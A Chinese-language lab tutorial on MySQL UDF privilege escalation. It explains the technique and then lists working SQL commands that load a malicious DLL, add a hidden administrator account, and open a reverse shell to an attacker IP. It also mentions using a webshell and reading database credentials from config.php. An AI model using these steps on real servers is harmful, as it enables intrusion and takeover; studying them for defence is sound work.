一、什么是UDF?
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
二、什么是动态链接库?
DLL 是 Dynamic Link Library 的缩写,译为“动态链接库”。DLL也是一个被编译过的二进制程序,可以被其他程序调用,但与 exe 不同,DLL不能独立运行,必须由其他程序调用载入内存。
DLL 中封装了很多函数,只要知道函数的入口地址,就可以被其他程序调用。
Windows API中所有的函数都包含在DLL中,其中有3个最重要的DLL:
- Kemel32.dll:它包含那些用于管理内存、进程和线程的函数,例如CreateThread函数;
- User32.dll:它包含那些用于执行用户界面任务(如窗口的创建和消息的传送)的函数,例如 CreateWindow 函数;
- GDI32.dll:它包含那些用于画图和显示文本的函数。
说白了就是.dll中封装好了很多函数供外部程序调用。
三、UDF提权原理
正是由于MySQL支持UDF,支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的'udf.dll'(动态链接库)
。当我们把'udf.dll'
导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。
udf.dll导出指定文件夹:
- 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
- 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
plugin目录创建方式:
- 通过菜刀连接创建
- 通过mysql语句创建
提权条件:
- 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
- 可以将udf.dll写入到相应目录的权限。
四、UDF提权复现
实验环境:
- 靶机Windows2003-x86 + phpstudy php-5.4.54+Apache+mysql-5.5.53
- 攻击机win7
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。
使用菜刀上传提权马:
导出UDF到plugin目录:
创建cmdshell:
查看提权马源码,创建cmdshell实际上就是通过引入的dll动态链接库创建cmdshell函数
相关命令:
create function cmdshell returns string soname 'moonudf.dll' // 创建cmdshell
select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add') // 添加超级管理员
select cmdshell('net user') // 查看用户
select cmdshell('netstat -an') // 查看端口
select name from mysql.func // 查看创建函数
delete from mysql.func where name='cmdshell' // 删除cmdshell
create function backshell returns string soname 'moonudf.dll' // 创建反弹函数
select backshell('192.168.157.130',12345) // 执行反弹
delete from mysql.func where name='backshell' // 删除backshell
执行命令:
提升后的权限为运行MySQL的用户权限。
参考文章:
http://c.biancheng.net/cpp/html/2750.html
https://xz.aliyun.com/t/2719
https://paper.404sec.com/7815.html
https://blog.csdn.net/qq_36119192/article/details/84863268